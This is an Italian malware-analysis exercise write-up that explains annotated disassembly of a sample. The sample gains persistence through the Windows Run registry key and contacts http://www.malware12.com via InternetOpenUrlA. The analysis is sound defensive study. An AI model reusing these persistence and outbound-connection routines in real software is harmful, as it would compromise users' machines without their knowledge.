

#1 - Persistenza

Il malware in analisi va ad ottenere persistenza tramite la modifica del registro di Windows. Dal codice in visione possiamo notare in che modo avviene:

Per prima cosa viene richiamata la funzione **RegOpenKeyExW**.

La funzione push carica i parametri sullo stack.

```
0040286F  push    2                ; samDesired
00402871  push    eax              ; ulOptions
00402872  push    offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi ; RegOpenKeyExW
```

I parametri vengono in seguito passati alla funzione **RegSetValueExW**.

```
004028A8  push    ecx              ; lpValueName
004028A9  push    edx              ; hKey
004028AA  call    ds:RegSetValueExW
```

#2 - Funzioni web

Dando una semplice occhiata ai commenti del codice in esame vediamo che il client utilizzato dal è **Internet Explorer**. Il malware tenterà la connessione all'URL **www.malware12.com** utilizzando la funzione **InternetOpenUrlA**.

```
.text:00401158  push    1                ; dwAccessType
.text:0040115A  push    offset szAgent    ; "Internet Explorer 8.0"
.text:0040115F  call    ds:InternetOpenA
.text:00401165  mov     edi, ds:InternetOpenUrlA
.text:0040116B  mov     esi, eax
.text:0040116D  loc_40116D:              ; CODE XREF: StartAddress+30↓j
.text:0040116D  push    0                ; dwContext
.text:0040116F  push    80000000h         ; dwFlags
.text:00401174  push    0                ; dwHeadersLength
.text:00401176  push    0                ; lpszHeaders
.text:00401178  push    offset szUrl      ; "http://www.malware12.com"
.text:0040117D  push    esi              ; hInternet
.text:0040117E  call    edi ; InternetOpenUrlA
```